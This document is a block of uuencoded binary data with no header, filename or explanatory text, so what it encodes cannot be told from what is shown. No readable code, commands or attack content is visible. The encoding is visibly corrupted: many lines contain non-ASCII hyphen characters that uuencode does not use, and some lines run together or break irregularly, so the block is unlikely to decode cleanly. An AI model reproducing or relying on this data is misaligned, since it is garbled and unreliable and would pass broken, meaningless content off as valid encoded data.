M8$/4A!RAQ'8Y_Q[<NZU_IET'53BOJ.PGH5:/FE)2US\6!Y]\&%<K@9UF.$*# M.Q6W#FSKBNF,?CZW[=6+F`::TM$&U[J>‑P5[_V7WC3L'C[=Z6C'`J0:/5P40 M(‑"$#H]F=LS7E*(J3DL‑<3>069('[NO_URP!‑".34F(2^T5@]`SILTRE:A_A MEYG1FOP[W!/4(M/75X`TU#$(C!0*2)D[TF`DNH41)W%M+;C]%F!)J2,+.‑3. M<5$(&2R22?$A#%6$+::5!0ECN=^,H!XK6_9*:Q5P*^)QMFQ[K8U?"(W[U%&U M:`MOO4)A4!1B46J74AL1GJV6#("7ZYMHDX(J[YPHX78S$Y<0N!6E[JXT'IF* M&"$\3$2H()C‑3^B@,G141!IB^2LJ‑$J.)4;‑MD#FA3=`(@'1#82==9C30.:W M"EEM#AQZ\Q6H]E?CEVQ[Q,‑7=X853N#&L7A,2=SJZ('W7'>\#=9$JU"+0,RK M,R@CIFH(!.#9)‑4J1NE?",&FFJSN$5YKKK,':VR"J#)`)E9J8AE/\>)‑B!(_ MZKL\?`\&E3JX`3&UP9B>)12#\0T$F#3C<AHTOMPK,!GF[Z/BPP3;_N7\`C+( MFONW`@';=/:YSUO__IAV:$E)T*!'06:;C''IG'#LM.(>:<&UC!FEG&U;8N'3 MEQC$'>:+1M"?YJ\ND`XZZ9A!&Q*'4_(O34IQJ9S+6]LG)*:Z6P&$G(B[)'S^ M(=%P*;(8O3HA,2Q:Y!@J`SL=R>MZ0;:<QMC5K3+!15%IK@.`"3]N\H[K5H.C M(:LV_MG.S\^Y_X+<?ISCM+&>YJ>$ZSK7<:JCO+T5Q%>35[C`P\Q;5M'/&1$# MJ*YM`32A:?;*7.XC9.!J6I`L'Z@L‑(:2LC)&]+CE!VS;"(58S+3J]D:TX@2. M=F.[D_]GN<I,&PNL%,TX=+<CN"2PCBS)RJV=*$Z\1TJ"X_&^OG\>14NF.8WL MAUW9A:ZNUI"_5*3@,$6J!A@^R)%5$4$2D6HVL#5?‑(MWH$&UH$‑K[?%<M*ID M6S=*N^B]),V%R/,?6IB*8>X2Y)^W2PG_^9%`F`5^C[1="J:)7"@?[:]>PYE^ MP65EL,&>Q?2J3M9V906]<BVR^S6%K'XUL9PD"M(Q^‑G/XZO.7!,;‑GKTZA)/ MHK,LCPO%C.2Z^'=%5KDA`‑&GQ,Z;C$X^A*P‑7U4‑_#1O_I;#=NXX2*OJ93ZA M[4UV2?_YDNQ!`@`J4WU6SG4L:PUUD+W9YK*>=>^@+]V^#06QM#)_'\+9C@:! MUZQJA>2D&*]K_^A&C"^;P\RX67JWUUBR9`)!_J__R7)8"H8:A2[YEP.FN)UC M\Y^/<QLJW=<MQ;"'X[6L_C_K;CWGX7E@13^%[A:$C,XS?'$7K_&J![8_Y;+` MX(&/QN#%5.3,,(&IC?"DWD"VQCEIC'&$6*JG<;J$C[^%E(R!‑5@11BE6?_^R M'_^>OF'*<KG@O?G0O8X^NTPC[\Q^3TW"<K!:_4X:XVO.L4"@1?4W$‑@BG$6, M%G2`I2%2R#?BD29LG*/_75:/^IG;E^.\B:;9WL5(9DNA^^PMT(4Q;((_CL*3

M#!LV28VY4BM5X["Y=)(PFLTQP15HT:56E1!$4Q))Y!S9PTO!‑E‑ZZ?$Z)III MXR#:!‑!9<F]".C7K&G+7?ER[*01;_\:YJB622,TM*T4KLJFV$Y>=9F‑K%1[[ M)T>T1G8@D*ZS,90R++L‑NY(11:Y&J$@Y02""'DV@5K;8;;ZOX^Z\(Z2.E.QM M)SI/5M2N_TEII+7:4TXLMYVYB2MIT81(.27.L[4_?M2,UR8D0:#5L5@<&Z&N MLMEG+?Q6D#`H\'OWB3JWK‑‑3?BM.<G&\V+Y[$S4NEB@02*6!BUV![!"JHRL/ MY`2A0,DRJ;>ICH9XDTVBQAGN+O@C7?O"R/:]_BS2=1O8=;2DJ@R#%BB8E%E' M$92)(+06]NFP\\C+$D('KD+(N([!`@?6)"P0U/5:,MUNM%AI^[MJ!(JSR^Y_ M8_%^‑%Y‑‑NFFJ!_#MM&SAP:<N[CK`(S5)‑85I;HE$4TA2F&1`1XE1.08:%Y$ M&!8'[)>Y01:F/QVXI'X!GBI`:4PD$CM`WN.S=F\F&+3;7NRR7"I_UU_CS2*5 M!‑+C*^*BTUJ(.%`VN72BKA>_61WR8WSAW6+71S+2>`88>_OBP8XM6I#J<>+6 M,(2UK28G$L`P'*@!*A\]8H((6].%`Y52:P&":`UJWIV^!T$$SG<@IO8E%(), M:U`G7/X]O%6NAMLMS.M66‑+XWVGJ_"Z\C[_‑[?!X;8_4:UWCG3#PA`5'.EX: MPFY.5_B]ZFYX.M+5D.4@8EK=EK&_\86G6I‑\,EZ2['4P8D4S.5MK$BDD>#‑. MPXL8]Q"*CU)PT'>S5BUM.?>U];<&YKR8+TA$%W:8W6$<74(I!+X\7MG^QP(U MH;40=$NY/<;KM,;2Q3#&G&F=:;<>SARYJ<DU;&F]‑UUC]+H2Z"<‑TQ=V+#>D M60C27,2‑VGY/%XC0‑'38‑FL+_!*ERHC0YG(RY'%J;ZC^])<]:‑FDPET;IA+* MS.&<>XLYM‑#8U;NX(C*‑&6%5H!FA63HZD(%$JD5_&=)]\:('AKVG%#D0@1DE M$C&80A*+,!T@DYS#"NXW2R"DDKI‑VBDDC1‑E:>_Q9=[^:7A=I!:T8U3)+FZX M9D>*RVV6V(‑+4W8V+C9_99!6C+"‑8O#=N&Q5N7<NI41:W2"B@CQLT._‑L:YMMH8#$J,W:2))`X)!5%I‑4(F%&&6)B[L8Q,,'K9&FEM"$XKJYF[)B5_G@)?%+ M`6YR2[22*+(#‑\XNWG&M"*JUI!0C2+2+7^3!7D2'+2L%4I55KGL,31JP9&$R M2HE*HBHG^C$'CQ><5*#J..,T8(3EA:(*JTC;QM_VR&XE1<RM4L2T(O.Q;<:, M?P[68I7'561HL:._0)1<@J)KR$6K5$Y,M"*6RD$:%KO\XO!<HCZ`D.1Z+0:8 MA4)5:=0@813,"IJ\URGH)*=H$IKL(1,0QQD.,>$%H>5)PDY!6*".D#2X*S$" MQ>DU'$FURP1S3%;=.*93+NQ#=GL‑(]&9JU!2;ANB]I&J::Q"*S''3Y#26M*M M*`HTTM(DS"S,(&TB(U;!$7!#H,L6**+[CM‑N(QQZ&[,,/+*B+2COXIQ8J#Q3 M:J3WS=E.0$58U4!$/[M;&]]B;2RDT2J@C2$)[>X@JU2.>G=694ABX%L+DD(' M48)R2!N<W&*Q=?/W8.%BQ>ND5=TFLB4J;(<_E‑A9)QS%QYI0;DM‑!=+‑,2M[ M4EV5Q8U;!UEW*II:ZS%J6XG%C!G3.HZ.CT(0U7,E(TG48*70QPLXGD.(0C@5 M$J^?[B\N10TN6$A&2["@B:INB!;$%.EY$&C,&7Q(2YD$J(W1V?>‑‑<!H‑R$( MRKN[/_K=D:79OB8Z‑/&3B:G.8=)‑&Q2D6M$EPY,3"J‑1T;!1$6D%MB5$>A=B M)X!F&4:R4S:]<8:O$+;DF4NUBW/$:3.25EA2P:DA&,I.)Z26*"T2:.5Y‑W)+ M!1IH6A%JY41‑9$&D$22)I<+1<2[NZC2TX<)9B5BX]22FC+4C6;E6)*::4(ET MG3N5PSE*;@O‑M+:6A1‑.JLL4YTHE8SK@ZS(1S"HHTT#B7QW;6^Y3;43OFHMR MJE&Q)1<J*U(008DJV462H*FEV>X<YPVLA=LE.9&NVX2M&L*LG2XKO".&H[0A M_%_I9;OFC^[K,[=/Q6*K.2/3DI5H[5AK(9DI8A?);@PM(+0HB`XC)2%‑(TM8 MLE6ERH+2HBU?0F<EJ‑<)&EI1H$0D"(I$F)=A!Q*))`RO:#*OA‑="8;'‑_QV0 M16DR\C8I8SKVUH$Y3V(XG041(‑4/Q2S98RW.9(0(‑FX(BD/&A:9:AQ2"1(VU M",*%%B15&AI7M6B[HJ&7*#>&Z‑(%8MG‑D1ZTA,3']TKD>9W<TVQ#9MIHY,9N M\1*2D4M"#2)_1MOQAI%3EE3<P$W7Q7AI‑)R]I#%<;QM%M`.[HW9OA'=U^F"L M)A);1&A8U!$15;XY:.)$%%I225A\&V6[K"NJO3!#+70X\EM6)NEI:JE5)50B M5+NQ2TN$N$6E1H2)%%%:3+&GGYE@$%*0P6VU1D(‑&Z"#*‑DGUD[@VDJ+EW`0 MD(\LBW()LDI%HF8/?X+%6FAUJI,.E<13KK=U:1IK%)4!N1"$J5&@)SF]THQ0 MC2Y06"M,A‑4):D6IN=)X;%8%S*S_G#`U<B$@\D+OVL(X[&5D<‑0:)))%:%WR M(HM(W‑K"*5?'R$9"T+Y\W#5TX)1767&X11JI.05JR\V!;1($C#?,"6BU2\LX M7HFCAZ<CK`TLFZ8X8M+D[\2‑4‑(H71(;E(\:#4XYK,$&S#:V11+2K;4D#6R* M.,$OWQ@X2:‑UTW!=:+`EL][:VN87,;CKB8:6";\XLJ4A&**J(F;NZ%IY)!&F M^"992M(B‑%PDDT2+5R&$M"PV8^0DQ)61E"WNE83!<A:8XX)ZV(NA7F*!!)DW M=BZ!I7*)@%NBZD,F‑V;T(1RF;(‑Q8+5*2(Q2]UUQ.%3DD#,J,&HO(::D‑S!M M%E5)!:5:1102X1!:\1(JHKR)QV231"S<\38(F&`H‑4CN;L+2Z+9(,J'/F]LP MK`5JE&E111J2Y=JF9`1*X&%56LR#5*0$B"D8+II89PR&6I2N.E=HJN"5!$IR MQS"*#I._N6DS[KM9@7ED.KE$T92*JKOVBMU`1!444Q*HAA"#:182*(XAP.X= M*6EH55K"%%I;0W2)W_5=9@R.J1IT@V2K'M2&+FV:L+Q(@O"Y8TVDKGI1X%#3 MQ,R*8UG5^'G3TJ(B;)+A&@4(Q:!%I1MI2%()2D65=U*IJEH1#2N9KK4ESCNB M;‑45+0D8*80@‑+;*V0G18O/AT;C‑(6%H\<Y_1<FW4F0W_83B:I:.;)HG5\O# M77<Z\D#;,+N"@H*<K$J[NT1H&A:&KA`:46D`15YVN+N3)`L1IH1JA‑*&B*‑R M"‑)ANY:0:4*0Y^Z\>`YM#'/8B\4W‑NK*6WIXA,1.+K\6XT;'H=&'.Y^E;]<\ MZ2DC&TJ`B@U0HTT+93*7GF2D05*:..[X^<;7HF6‑)30E3?=%K<(/7RK;Y)&N MA=V#2IC5EC_7FZMC$8X>9B8TE;M,WD5;DJY'X_%U:HH+2*M892(*4HTQJ6<@ MJ4TZ3+:HCK(#0G'FRSK4FS!JJP[RZ.$'0D!!MF[JX%"U1*'J<#QI=W/=;7G5 MBB*TIOLNUE:)%J]N20DY;M>*$M4#6[54RAJ+;,!H,BTR1,$%!E`B`HCPO)28 MEWS68N',SL$MP*X41=65Q$[/):D`G([&!)'_Z1,['1:R!F0YLY<FC#G.4<7J M(O=J\!D"`OQODP'5"2PT$2`UM‑H0!DH5GDX3?<‑9%UD1>)Y‑X322KR0O;=C" MTK,)U5!QS>),CFRO::YVAA%9`H4:*$F@1!!);I<$1‑.AIR\A$:%IXI.3‑EZ\ MG%B\6FF,>FQMIDUF+%6D3COIZPVTT4L9Q3XIMK$HS[KBBZT<^'9)+9HQOU'A MM0,]7*#5]]P2D=NA_CTKHHT+(DLC‑.C1!![K]UK4&50Y\;9=VZ'B?)40">57 MONP+FDU;`/M671`Q8$B4Q)6$B96PNFZ1K.LH\!@@)2NS3)0U2ACGXM‑;EP.3 M?BBU(BX;‑\"*D2`N+A>K*IP[[_ZFG_/*:B".F‑\A9H:)`646B@HR"1TJ0Q;5

M;^;]'G3EFS<8U2‑1(T5<+%X<._;YU0W\(!AQ3126;I4$)'!B8`9"R8#)%+&7 M1`3ZLN`1OE,&J`DQ"`WL‑YU?9[G_SE:;V;(((‑!M:?32*<Z8;!FDHN<B<N'5 MV<489&3<W=,A"1$$‑ID*Z*VN1"AR]<!`I,RYD;JJJF6%[JOKDUQP:W:/O.FM‑K+$1&DD@*DYKM+2I2\'D<4794&A%+XKJU!3'P%VP5!9>:")<!OFL&,'0LW/ M_[B]M)#($%`T+6L@IB#C>SB@)@A4IPJR"2Y>Z$1`_ZRX""O(44,*I?(A'6KP M7FR/%FA>RDBI`_WXG)(\TR*JW":L3/'GEJY&F.XMIJ%=^U$17&OR&".),7%A M%J/'‑^`P;L1+>AIR^Y:9571#KM9AWN>0W,HDK%R,>J<7KIXRZR)G==64NG7S MKL:*VIH2<YCAW<VGB<'P6L!I4T6!EUY:>J8BHY8\SDOD2Z'5B:0EYGBW%5G. MDQBDTA!EP^7<%[R:549(B=*1‑E"ZZA<$5(#"AA1#'_0UJK[E7M$4EU=V8S1H M@NMQ;Z])3APG*[WL‑/1)?;<MW\>P?9LVD,PCR9LXO!3‑'&]FZN(PQ"[OF1=4 MB((D:E4TBCU<MS@CPE1M(QBX5Y_@,'‑B/*ZW%%%RDRRG?L<%‑%0CTKO7HRVM

MLS.DB8)B!VE%'3L54?(EEE`KJ?]89($+7L6Z‑CA5$=B]_>BT_+/&V+)E.ASL M8B7A6H@ML^'AR8P<'&B01U8BB6D$5MER5Q2[F9UK5B‑:[U;E<5DIL:=V_&._ M>&B[\\KE!3*0TA*U=NEIQXR[W/^4XMQG=,4+3:../L.$&\69<<!$,I0V`F)8 M[AU5FC>U"SL]GX]JW]QCL3<9((*TZ3?7/Y8C48D=XG‑B9AV‑FYWX.AV>MYKG MR5KGA@T<M\7AI9B0A)&D9R5JQHN"]DX2X1LN3)4VU‑40QL\;<E$D<6O;IP/N MVDYW#:VACY:=T9R+`D@L9NB#2PAF:"32!Q‑$@:1?+?(C3‑UQR75MSG6=LE;D M^"S‑.GTL8%4:[_BO2N#%R22"CP1`>J=Y1I>72%HY)L1_U:KDK1X+K\=PY3K' MGO(_5Z?57JFS[G>4YUIFNMCI+3GH6TIUV(=[:F1‑VP‑UVP0L@2"3>JLJF>65 M1I>N7^‑6T:=;.??57IV&+IX]ZBJ7K5Y8]?C‑7KG5;8BJ<C3,MV>9%>>L64S1 M!\4‑@C(=5CA_ZQR;N)CBV[‑>F415W[N$3!T\WC'6[<6)IH+N<<M*]";7$]XZ MNV1C_JQD=9OFA5V"C5,9*:G<=0(H7=UO$QM/5(@&;)G0VHT_!LD"‑*@YPVR% MK+#0/XZE@(U$\'`V?_I#:Z>#HEZ=&5XG>5JDRMVYCC(@&F?)?!F4#N_Z‑8G. M+$]F'QQ;O)%H<K0G`01$/$<[FE:H;^OKW65^!(A%_CH6Z%;D0R%M0:D\*9,\ M21:Q7U+R‑H(‑@5_T.9;0X&&(X)I%..U7&^$(C^20\T`DQQ5";[(PE05>3K9; MU_@K.EV),FT@INLWH))T"1LDRD&M?)$FVQR0QE9\J"+S&O%BZ.$U[#;JW'5: M<+]9N((G?\VV*XDK@UIOZV^4!5‑Z<1O23G\.=D7&O%UEX7OW?X'%ZG#88K1C M$KB>2GXJ'_.HZ2S3%6]FJ.@TV[%46.N'DL5J*/_(A\N8MO3XXIJ,$0#OP08;

M"YX$6EFP&HM<47,(C8ZW,)A‑72'5‑)E%0,R".ZD!(__&%<1HHV1L^OZDT'!X M;;_/3;M<<':L>SOC%WSH9T<X@6\^CZ_I9P_5)SM('78E^XN'8)SFYTM#ZG.% M^W>7Y3'7>#E5R[I7A$VZ!S^E=X2^3FG5(NW8+_E]0AT&P&O8L[J00‑D;/^D* MC)H2,="X‑DN8JQRF;9S7PK:;6IN>\QR2$:$C3&T(T3(55Z;0/EJ^>!K‑N)3T M97[5W45!Y4AYEM="75<4J41SGCRST<'5W.MG"]S37.P6+5P>.#S])APQ3JW_ M/&+I:[_K\8,+23ZG=O,,9B[$ZZ$Z,>NGD<:<KB_#32T,5:#TY?^/UT`7‑!T[ M/2>ZDD')‑I$=XKGZG#'194J=O;W@‑(]+ML?`?<3<&K#H=+9K<+F'?I?%*\?F M8:TEH)RJQZ>7<<DDWM?\`P2?\^JQ!LE"]3L11ZNVJ,Z^RG0+GV];.]F,CY*D M=PZ,EZ"=WTW(4XA1=Z(8AAC"H!%%0UZ[H%R*".IV%I2A=V2]$\WW^[,GW';_ MZ_]?#G6U.SFAOB6@:<==T<$)T=Z#E?,6‑]>??6L;%["5'L_'U13,@D:S[!VC M@R32!)‑".^J<FGIGV*CLD8PO4\7?UJM=VIW0&UD@@$@D$<G%QP.::‑[FL%$7 M/$/H.LM50)V9(8&M%D/PD1"Z$O0‑30:HS‑IF51\$YGP;6.K'&E]C*AN(KXOP M>].0^JZS8V17!TSG&]Y4CIUF)X.0/8[+#X#C7T:#M0?QWI:F#1$(%C:=HS,$ M:‑+:N0P?"N0RAY'1$7CCZN9‑‑QR_0$#_@9G:'L*L4M&33L<U6(&HA]E"UT!7 MNY#_H>>U:V/DX!F'#>B1/'[OIFM:B`J1OSYCL]%0"+V2"`+U$;5)4[,R<D&0 M:['21S'F*?ALK>G5&%U^N‑/V,+M_]':__OG#2W;TE1<&VZ"%!R*T[^+]G(@B M>‑]!'[[8J;[=HN^CU;*;<U06!`0(GAC?L)8*+R2XZ_XG^6V#Y@O.A_R8"&<< M^M4IKX]VOLIQQ.\QT>3&'&DLW.I(]1AZ1PAQ:&>/#DOI0TNKAFU:Y@LLT4$I MDWE'W%8`%UD‑1HHZK0;JL(_3R3+69:!H_]7__+‑(O‑DO4R)MM#K##*<5XP55 MY<K,I[PPU,120,XY#)]@8P:FWST/_NOZ>CA'';MYAZ>AG?V$&5=#:,,5`+;^ M3B0'`."6S[WH0#JI#*LE'_&7'2==8YH0J"(HDBPD3SG6Y<'Z]^'_^AFM=R9C M)_]<YJ8(X[1<&:22:H=;A3#09C>9$C,HA_T\7X0>,,VC.99=E_M_JO%XT‑)Q M<O)RN[E]?MG'&9F_V4]9Q3>?Y2CW7<1PS?&_<<$9$‑IB208NT^?_ZXXD5%7^ MTXD)W%<.:]NXZB45_U9X]N*\9I_=S&CO?4Q)&_"J*CVW4$@]DUUPTV51HZ84 MS‑#UJQ4TD20@*DKC2U&&OFJ_PAQ@<O6QIM(M%@+&TP%)[FOLSEBH+)QV4Z1$ M""%#&0DU&3QF.';M_ZV_XM$;_858/VST=71Y((@=)G6J?_‑M8<[%$?D_QXJ> M_K?T)CAXL"LR$2:‑YOH,;56J!_‑);I1K`[FU&3GR‑‑L5<.C?N.*SHS%TZPXL M‑WWDWMS&6[&M#JIQ*CF83X&\6:&OM[‑?EM^N'$#XG$W8\4V.*JB:9#ZQJT>X M$IJXC?42YH6@)‑$U`29J:+_&DL!2DH4*WF>REE="#CJ;&H[QZ,D<&7'DZ"@< MO=GFZF1@!#[:(I[=STJ<X8Q‑0)J802.["D2A@7C*J;‑$&_55H)0V5?_&`I2R M;TL?,K[[WB&KOK#P\B$2R&T2=;;.3JZ1^#W_IXQ4&I!8QMF,C5G)>XTVT3$' MJ_.6&'&L‑$.?)6<R‑+P=_1Q,SG[M"S`U59<.0W$`$'%0<G2:A(&R"]PO>X$` MX0MZ*J)04Y9++CZUK`Q=5>6*R2/&0+=5!`T$%!>)AM`I)&Q2[;+)5.`B!$,D MF);EAC‑0#1YBN:I9\3‑5119E38[/IJAX.*[)$8P"*LCWR5C.G\^PF5EC_I"B M7:!DZ,TG7DQ:/10A__T@)JTXG491O+B92LA$27#F$[2H":4)`R1_^Q_PO&F) MM&&+O;P^)G0>5T=1,*WZV3AG2\5;IEF#';K%)`(9$3LGK3(+(X^.;:36R&?> M>N);+@Q!M6'"K,.@<Z7$4$35U@2>M6H^7LVD3(9\+Q>*X5JP:,H)=5ONP$9Y MIO*B=7^C_I,<';^3&N?^A]R8YD,WI9046"QJ*')\=L"""0MOD0=B(+2DT#3: M,*\]PS!+!AA&1,PJ$U2`+JW7J%V@BL]]"PM8$5L2PTH8[[A_F*H.$%X@6//G

MIK.#5:J[@4"+H*=9WL0=F`[36LK*]G"Y$V*D5]+"1CWW&K7D:RC";WEY%"06 MFM=AKCC‑A62EL,<6V9]M_SU0QX$?"E<P,&‑`."U,7:IHNM34!3.45'5L5Z"+ M?.*MD:$VEC>=<3*_&[D<KQ‑Y6$VD#U];=4LTJ&.9+Z"[IJM;_<HIB!70P30M M#"]&JTRJ=]Y@7?&ODXGCLV*EVW?'RB<JHNZ19#+#V%CTXUG_GG6EE#3Z*;_$ M8B\.!G%8][LNE7GR/AM)6I(8[5"TNL740AV4F0:2KG^JU!_]2[Q]5`P<$>?4 M)U/GL=TLB&7BJ<GP.")FDOVW23*7$02N;:W==0P,2&7J‑&X>S[R4;G7:;V\$ MG@I‑H?\;RJ:_(0F>RU()V2DEY##'M/8>(BLJG0=^\X>O@*1II*E78>OLUO4? M5>"^#!PE0$$>H\HF]0R*<Z#(>M(NW)`@?+2Q<&$O3;,9*)&UR2&2J(UE!K"3 M,3#@%D\+@]6*,7W*21'2[92*Y9,BZJ99M,>.0K&0;).Q^5Q0:Y@[WINI@^2; M1KWKG9X5C/'B#3V4WV>Z‑!U'(XM=[N1"QI#‑[`Q:L(MT,0QG=1/"0Z.5R.+P MK'Z!S‑I#Q=.LU2XW.)K51*`A&AVXC`5&NO8[P[^UB<?];10Z^>=9Q>JS4&_A M1"J#ID82$@)#)08E__;_>M=JXRA067?#R97QC:HT+‑4%<MZ:HM!26]A‑3;SI MI.:.&Y]%L@7K4,+MY,0;SKE.33+UNIUVF+B(^UD^7ZC/>._^,^)QJIRR=%B< MGNW0QGC"V%BJ=E4A%;\(.$)'DCS`8/14+KV6<>*PF?]0;VW7VT*<8**>BFA* M]GWOG31R,5M5>T;DO89X(W07`WXW7;77;N%@7R#>4%X_[3+Y3+$5@<T‑E`@J MA!/C![PS'R%D:S7TS6RXHI[WNM1/O040#^NVIHL6U'*A^RRB"6:]J+$V$MD. M]YL9V5F%`_5H1%$([%HF#J09%0@J#TD$3*1Y4',,#2]ZPC)I5MF/JW+/F‑"Z MK9"!>.@:T)(QW;0:&G5(1E8QYG8K‑;,8,&ZD%PVZ9N9_TR(JJU4$<+09*_&= M+BRT7N6‑EURU.+2)"N17ME?&E#@05@C=EHU+OJ8X90V#CQ?I\/BSN,$Z#H<0 M‑4TBFAH@<R+4T5S!T2/S95O\:IRXD;:SF1E*1U'.JI>)=95:QNBON#:8"3A0 M8*WFC)[M>U6!)0LT'(0;("H"$0^NW%#WE3A(F*JKB(4:RM951*DH1!A,.*($ M‑,AEPMQ'2$<3CEFB:32*DPX(PW7C'N6FCOTSA96AXM8VW(<7Q[4N1_M2DT)J M;PM1G)#,N:Q`+VLO(J1X[A$U3ESR8P&CKI;I‑<D3/=W'P^!,C`M%RY")6W*L MB18H_\D]D=%4",D.,U!&%=CY5KX/8__GOLADMAHF@#H@B,S#@I,54)!1!R6: M8TTT<RL$+N21PLB.(9S"2&*&"0=$Z‑S1S<49‑+B25%;2(N+A?%S[L*Z?LP:W M&'`@'4R,#I=[&K7M7NAJAR;4*HK#V(0RAL6)`‑4RUVYCNUKV(3)((U5"WS&5 M0')#YK=+M9<(ZZ'05A5!&!6E+/)(;L()C]E'?PHP3)D4%&"J$6^QFI97G74] M!2C/`)@+BQ<U@S<&Y<‑BJB(7P+2&>ULC_A:MR>AT9#)&Q(I#T]7S>NQ:‑)DH M4E^G]=<Z:W0*0D$#1D5%D9+O$\1[F‑S'$I\5HN‑S5(`][^V<SS5C./=\+<F1 M9M^4CS<>E6_J(*HNQPON\:$"1^.8JAJWQSVFEY0&0U1,0?+^^A@<B7F:DU?T M,)I&1GU+>_K_U:K4W/BNICYQY"!^.\'L9(3Q*S)I4%D^?9.`W1EI$&?$PQ;J M,5@U^SCWV=0Q\`[GT917*1G&HQ\‑2=1%W+7N$WDV_M/#&FDU‑‑/;=3'Z1‑\E M71C7+P(XG$C+9_[3;"0['RSTTRSZ+UX(3R*UI`TGQH>)E+Y,2>I6,&B<"L8# M*1MEPK9KC,@&O]Y6D0:CW(;C‑.A!'F+GRG^T:EK\QJ\`O'NMJ=JNIIHM<.HR M‑O'"8PK(JG;31Z'NDGT^VKIDZS&EXL^#<X'CKN]2N‑BY\(%TV2XT"&;0W)9* MA0ASY\1!Q<1!"JQ)XJ[V<"J/&WZJ>.X:ENK.PN"<[KK+F>90BPU\E,3$M//O

M^UG.><N]KKX1C*`<.`8JYB)\3#91GCMO[4_&/$9(N:4:?!&`7">]#‑]&^‑@M.I*K%T0Z‑MQA#,$0,C:L,^TND^*:U^,UD0C42@2@<B(G.8]>%/7]6N(%ZPF$ M8<<*D<<=8VYQ6KBY&J%!GA<1P2X)@11T/TV4QA6^J‑ZFKDKL'+H0BN"UXWJ^ MB0CN6M`.90&RKXHXB+$:I0S)P%+@O+K1[_;<>2W4‑HV;(1!&K*31PV=3K%)< MB4(*A"3$H)"0F6N4AG?WE1D?3*UN*5W);10GB69921B1S]$N/9=8"YS<U.%O M_VW&,#60+D$V*Q7O_6<MJZ[LBR5_0AAF&4(/)'Q6*BJB]H0@I"&51D<E?<=MI(K/`L")!(!PVCFU$I@IIER@H05"ZE‑1*M+(82GC57Z<J*IS`(()#@BIO.‑+ M"]98ODM"$X\!0,"&C]EF@2\:"VD7‑&5FP[:‑@PH;!=ZFJCXYD9?:WB*MT[4( M>8@H*()!ST6(I!'_NE!D^Z,<‑Q6,QA:X<KPR%]/93B82&\HR867MKVC‑2`;\ M+T]]M<V^OT[>5=7C]EWPN!A6U)?3(#P‑`"W?T3ON+83&(UD7‑:D(@>CJ]3_? M(KC2XQ!5!MK]#(AD!>JN_SSYD5Q&9CSC.Y%5F"0R4L`TX37S4)Y[‑G(A‑=!7 M$4!`*(RS37$Z#&+.@DP<MEBUQ,R0C4IHD/!67:RE(D:PR,UQ!N(U6$M+G‑=M M'NCHT%N5DT:F,%T7U&%0R?RTMHHP#DZQ9S0@DUC‑)TDPU3IAETHIJZ):&MYL MBIB:^2^WO73X_:RZ7`QMH9N,.5)P)_2N&:6*VA6‑#.IA&:JC(!84HXN[PXS@ MQF4;DM4MIT@M".CS.3?!!&Y^F(N4X1(7&IR*#]VOW/V=/H>I%E*[7BN*^A<> M\,FN4,A,U85"2"X9K`=‑7:460FA#!:5EMO^8<$,G^I6MKL37Y?U(P)O[<,&V MK)P?2<AC,T2).‑U[U‑(0L,H=BN8L.HWJ34R,@A3HANJM7AG!+/I:&5_I"R\, M3<P`@T`QXC5@R`$E:?![TO(ZH‑_E3KG9F\1DKG.L%2!VPBSD)6VV‑L7M3+SC MPF+TE3_HOOFMZNBMJEYQYXJ%‑F&MZ@>VHYEN<V&X2R`P:%\JIO8FM0MIJ]9' MPO=Q:9#(JW\K*$\$J"8]]:'_Q09F#5+5$GZ(XE*H$\\6WUFMB*H\C"@[:YR: M\_?>V[<2]&U5U=V)@^N>@*JTXA`04LE6KD@1DNL215\VN^<Y%FW?:@]S&DBT MT!:9YDOD‑QM(G/+<\>7T^?TI'9RTR*Z^;$51[<*/E[5$"4B3#;‑2$39L7P;*

MU`7U$)`;_]\+1W`3N8H_BYF\0<LY.\BHY2P7ZZO67V*JD&"$T!"4!(#6X:@E M1<PSZDJR\V/R#KVJ]MWP@I$&BYT$"8,(M,JQ@L!F6BQ`(AWW9(KOB?F$"W`] MW<+__V'_*];>43N_FJ@><3/^14‑A\45]@[M(C;U,J‑=6711P&9<]#"&`/RSH ML(2'WT^)T2'V31"_C##9.M,=0S*U*<Q#WJ/Q\,/MI?2)0?9NNS+:)<H/?VWJ MV(#P/V/<7G@4Q`;X$.OPC94&*$$DZCZ<<A@$2>WKCY2‑Y&‑07E(C$%BW77<U MR7)#]=0*RR.9E2\^L%!0/$"39OX*3^:*]C9_R]&'YC`SP55)6N&<YQ5M1(K$ M9"‑2[,0P%B5B;\LTK‑>F16(K*8/6NV;E<'ZZ(XI%\<#FNQ(‑;UVWK(U?,<V@ M[25G2X)<D4B3@D3+$PL[3&ES!(9E‑6TZ78WB[;>9M\&X7,)B1)6C>‑^175*1 M6:U9B:6,Q+5D!`PA4TG[&KNLGWAG9>CZ:HW‑W=R80$2H$?,J8,U])6BHJR%# MV%D1`*=E6!%")L>)JHG2!%K@UAXEV,BK3T,@EE6Q,N\V‑KH6AM"$2*EFZ_21 M,C*:9!W4L1DLI04(7K‑N‑*)#+;Q6U<&6AN8L#>LBHV2*P("5#=.`4#5#4:RZ MS6*B(G]!$50051C‑WTU?!Q@2KEX!%[‑1)!TAAJVBBDLN:MR:%X*LC`‑VE2:5 M‑29&,F9@JG2DMBL+"‑+&,7=W$KE8W)@9*:HB0B753<6"39+%4V0R,F@Y=[S1 MG2S$BQLF?<<+#A#(T9!WH!`T)_AID/X2]MCGS0N1VSELXOK'E[KZNWYX]XSR MJP^"D(U!:1S2(U1W87H+H>%=B^=70?5VSJ()%346N(/_&>_A"X\‑GB4A>K#$ M%LX="8F2K^19R/3];+'BM6E(A$$MNN$!)ZZ_*L"/M4(%RKFF#OA"Q&F6QW%1 M\IRWCDFM`?7U)C@TZS=Y>$$(‑‑^W*8!%E76Y@?_N:SN4K$+1‑M7:O70NZ*"^ M70O,'ZP,+M)D?+G!?7LV?I>2B@OTQ=[&?S+O7H[9I)'OHN.!(Y:8]!.$(&FJ MJ7NCYR=;N(?&;R%8‑?E7V(%32^R_+V9^7(M9=JWJF*1^,7]'%+%J%W‑'.Q"K M!R9V8&C>)@:F\7;Z[9;Q:GJH?!K7XM6)J)V3=4O‑%!\`AL6(,A/#0@=3O+FM!74@E=!TX_(O??`B.XM51X^KX^H1F>A(D6]PW&US#‑`R2"0`31^TF:.AES", M42=@H@HW3‑&)?TQ8GN78%DD#EBT&*4389/9!`C28$.RQ/V6#585.)`B6G#$& MX.W'>=";JWD+WPVL9F;L&F3ZQT<5I‑&I<))1RCNQ@TQAP.&L,=$"‑1,6$*1C MA;/>G&(<3!544$!7W3MD8(NEE?#\1\7S*DTJ0$2:9&E@S[_>,$KQ698R2#,6 